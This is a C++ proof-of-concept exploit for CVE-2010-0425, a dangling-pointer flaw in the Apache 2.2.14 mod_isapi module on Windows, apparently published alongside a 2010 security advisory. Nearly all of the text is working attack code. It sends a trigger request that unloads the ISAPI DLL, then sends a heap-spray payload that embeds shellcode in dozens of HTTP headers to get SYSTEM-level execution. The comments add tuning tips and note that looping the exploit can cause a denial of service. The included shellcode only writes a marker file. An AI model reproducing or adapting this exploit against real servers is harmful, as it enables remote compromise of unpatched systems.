Apache 2.2.14 mod_isapi – Dangling Pointer Remote SYSTEM
/* * Apache 2.2.14 mod_isapi Dangling Pointer Remote SYSTEM Exploit (CVE-2010-0425) * ------------------------------------------------------------------------------ * * Advisory: http://www.senseofsecurity.com.au/advisories/SOS-10-002 * * Description: * pwn-isapi.cpp exploits a dangling pointer vulnerabilty in Apache 2.2.14 mod_isapi. * Due to the nature of the vulnerability, and exploitation method, DEP should be limited to essential * Windows programs and services. At worst, if DEP is enabled for the Apache process, you could cause * a constant DoS by looping this (since apache will automatically restart) :) * * Note that the exploit code may need to be run multiple times before a shell is spawned (70% * success rate - tested on three different systems). Furthermore, the exploit code may require * modification to exploit this vulnerability on different platforms. This is due to loaded memory * references to the unloaded DLL (they will be different for each ISAPI module). Do not test * this code in a VM otherwise the code may fail to send the RESET packet (something to do with * VMware gracefully closing the connection, instead of sending a RESET packet) - I didnt want * to have to use raw packets on Windows. * * Shellcode Note: * The shellcode writes "pwn-isapi" to "sos.txt" which is created in the current working directory. * Most operating systems should be supported by this shellcode. I've used Skylined's method of finding * the base address of kernel32.dll for Windows 7 and modified it so that it will find the base * address of msvcrt.dll instead. I've also added another check so that it will be able to detect * "msvcrt.dll" on Windows Server 2003 (this OS loads msvcrt.dll in 5th position, and before this * DLL string is read, another DLL (RPCRT4.dll) length is verifiied which matches the length of * msvcrt.dll. So the added check will verify the presents of "m" before proceeding. * * Author: * Brett Gervasoni (brettg [at] senseofsecurity.com.au) * * Copyright Sense of Security Pty Ltd 2010. * http://www.senseofsecurity.com.au */ #include <iostream> #include <windows.h> #include <winsock.h> #include <string> #include <direct.h> #pragma comment(lib, "wsock32.lib") using namespace std; #define SERVER_PORT 80 void header(); int createConnection(string targetAddr, int targetPort); int sendTransmission(string message); string recvTransmission(); void cleanUp(); WORD sockVersion; WSADATA wsaData; int sock; struct sockaddr_in rserver; int main(int argc, char *argv[]) { string serverIP, isapiDLL; string triggerVuln, payload; char accept[171], referer[733], cookie[5376], random[7604], postData[23379], footer[299]; //custom shellcode that writes "pwn-isapi" to "sos.txt" in the current working directory //Note: There are four NOPs at the end for padding. Not really needed. char shellcode[] = "\x31\xc0\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x56\x08\x8b" "\x7e\x20\x8b\x36\x66\x39\x4f\x14\x75\xf2\x66\xb9\x01\x6d\x66\x81\xe9\x94" "\x6c\x66\x39\x0f\x66\x89\xc1\x75\xe1\x89\xe5\xeb\x71\x60\x8b\x6c\x24\x24" "\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3" "\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1" "\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66" "\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61" "\xc3\xad\x50\x52\xe8\xaa\xff\xff\xff\x89\x07\x66\x81\xc4\x0c\x01\x66\x81" "\xec\x04\x01\x66\x81\xc7\x08\x01\x66\x81\xef\x04\x01\x39\xce\x75\xde\xc3" "\xeb\x10\x5e\x8d\x7d\x04\x89\xf1\x80\xc1\x0c\xe8\xcd\xff\xff\xff\xeb\x3b" "\xe8\xeb\xff\xff\xff\x6e\x7c\x2e\xe1\x1e\x3c\x3f\xd7\x74\x1e\x48\xcd\x31" "\xd2\x58\x88\x50\x07\xeb\x2f\x31\xd2\x59\x88\x51\x01\xeb\x2e\x51\x50\xff" "\x55\x04\xeb\x2c\x31\xd2\x59\x88\x51\x09\xeb\x33\x51\x50\x89\xc6\xff\x55" "\x08\x53\xff\x55\x0c\xe8\xd1\xff\xff\xff\x73\x6f\x73\x2e\x74\x78\x74\x4e" "\xe8\xcc\xff\xff\xff\x77\x4e\xe8\xcd\xff\xff\xff\xe8\xcf\xff\xff\xff\x70" "\x77\x6e\x2d\x69\x73\x61\x70\x69\x4e\xe8\xc8\xff\xff\xff\x90\x90\x90\x90"; header(); if (argc < 3) { printf("usage: %s <ip> <DLL>\n", argv[0]); return 1; } serverIP = string(argv[1]); isapiDLL = string(argv[2]); //all these values could be set to 7601 + sizeof(shellcode) //but mixing it up is good. memset(accept, 'A', 170); memset(referer, 'A', 732); memset(cookie, 'A', 5375); memset(random, 'A', 7603); memset(postData, 'A', 23378); memset(footer, 'A', 298); triggerVuln = "POST /cgi-bin/" + isapiDLL + " HTTP/1.0\r\n" "User-Agent: AAAAAAAA\r\n" "Pragma: no-cache\r\n" "Proxy-Connection: Keep-Alive\r\n" "Host: " + serverIP + "\r\n" "Content-Length: 40334\r\n\r\n" + string(footer); //Modify the below request if needed (depending on where your function pointer is pointing) //Do so by adding or removing headers. So if you want to hit a higher function pointer, //keep adding headers :) //Note: If performing this blindly, try it a few times, change a bit, try again. //During testing i found that using a chunk of data the same size with the same header name //was more unreliable. In memory, large amounts of nulls are being placed either side of the //payload. Since the function pointer address was random, by slightly mixing up the size of //each header i would get better results. payload = "POST /cgi-bin/" + isapiDLL + " HTTP/1.0\r\n" "Accept: " + string(accept) + "\r\n" "Referer: " + string(referer) + string(shellcode) + "\r\n" "From: " + string(cookie) + string(shellcode) + "\r\n" "Utruvh-guiergher: " + string(cookie) + string(shellcode) + "\r\n" "Accept-Language: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" "Content-Type: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" "UA-CPU: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" "Pragma: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" "User-Agent: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" "Cookie: " + string(cookie) + string(shellcode) + "\r\n" "Host: " + serverIP + "\r\n" "Proxy-Connection: Keep-Alive\r\n" "Okytuasd: " + string(cookie) + string(shellcode) + "\r\n" "Asdasdasdasdasd: " + string(random) + string(shellcode) + "\r\n" "Asdasda: " + string(random) + string(shellcode) + "\r\n" "Sewrwefbui: " + string(random) + string(shellcode) + "\r\n" "Qdfasdernu: " + string(random) + string(shellcode) + "\r\n" "Cdffew-asdf: " + string(random) + string(shellcode) + "\r\n" "Kuiytnb-Ehrf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n" "Lsfergjnuibubiu: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n" "Baefrwerifnhu: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n" "Zdsfno: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n" "Psdfsafn: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n" "Zefwefnuivre-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n" "Ivre-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n" "Yvasde-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n" "Yuionbsdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n" "Yasdasdasdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n" "asdasdde-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n" "Ertuioert-erf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n" "Content-Length: 25054\r\n\r\n" + string(postData) + "CCCC" + string(shellcode) + "BBBB" + string(footer); //Setup connection if (createConnection(serverIP, SERVER_PORT) == 1) { printf("- an error occurred connecting to the server\n"); return 1; } printf("[+] Connected to %s.\n", serverIP.c_str()); printf("[+] Setting socket data structure values\n"); int iOptVal; int aiOptVal; struct linger linger_data; //This is meant to set closesocket to do a "graceful close", //however this is not the case when WSACancelBlockingCall() is called. A RESET packet is //sent as a result - Note that if in a vm, for some reason a RESET packet does not get sent. linger_data.l_onoff = 0; linger_data.l_linger = 0; setsockopt(sock, SOL_SOCKET, SO_LINGER, (char*)&linger_data, sizeof(linger_data)); setsockopt(sock, SOL_SOCKET, SO_DONTLINGER, (char*)&linger_data, sizeof(linger_data)); //Set SO_LINGER to 0 so WSACancelBlockingCall() will cause a RESET packet to be sent getsockopt(sock, SOL_SOCKET, SO_LINGER, (char*)&linger_data, &iOptVal); getsockopt(sock, SOL_SOCKET, SO_DONTLINGER, (char*)&linger_data, &aiOptVal); printf(" - SO_LINGER value is set to %ld\n", linger_data.l_onoff); printf(" - SO_DONTLINGER value is set to %ld\n", linger_data.l_linger); printf("[*] Triggering DLL unload\n"); sendTransmission(triggerVuln); Sleep(2000); //Sleep for a bit, otherwise on first run a RESET packet doesn't get sent. WSACancelBlockingCall(); //Cause reset packet response Sleep(2000); //The multiple Sleeps seem to break up stuff a bit, making it more reliable... closesocket(sock); Sleep(2000); WSACleanup(); Sleep(2000); printf("[+] The DLL should be unloaded by now\n"); //Reconnect to deliver payload if (createConnection(serverIP, SERVER_PORT) == 1) { printf("- an error occurred connecting to the server\n"); return 1; } printf("[*] Sending payload\n"); sendTransmission(payload); cleanUp(); printf("[+] Check to see if sos.txt was created...\n"); return 0; } void header() { printf("Apache 2.2.14 mod_isapi Remote SYSTEM Exploit (CVE-2010-0425)\n"); printf("-------------------------------------------------------------\n"); printf(" Brett Gervasoni (brettg [at] senseofsecurity.com.au)\n"); printf(" Copyright Sense of Security Pty Ltd 2010.\n"); } //Setup the server int createConnection(string serverIP, int port) { int result = 0, len = 0; sockVersion = MAKEWORD(1,1); WSAStartup(sockVersion, &wsaData); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("error: socket()\n"); result = 1; } rserver.sin_family = AF_INET; rserver.sin_port = htons(port); rserver.sin_addr.s_addr = inet_addr(serverIP.c_str()); memset(&rserver.sin_zero, 0, 8); len = sizeof(struct sockaddr_in); if ((connect(sock, (struct sockaddr *)&rserver, sizeof(struct sockaddr_in))) == -1) { perror("error: connect()\n"); result = 1; } return result; } //Send a message int sendTransmission(string message) { int bytes_sent = 0; bytes_sent = send(sock, message.c_str(), message.length(), 0); if (bytes_sent < 0) { perror("error: send()\n"); exit(1); } return bytes_sent; } //Receive a message string recvTransmission() { string result; char *c = new char[1]; int bytes_recv = 0; while (c[0] != NULL) { bytes_recv = recv(sock, c, 1, 0); if (bytes_recv < 0) { perror("error: recv()\n"); //exit(1); } result += c[0]; } return result; } //Clean up the connection void cleanUp() { closesocket(sock); WSACleanup(); } |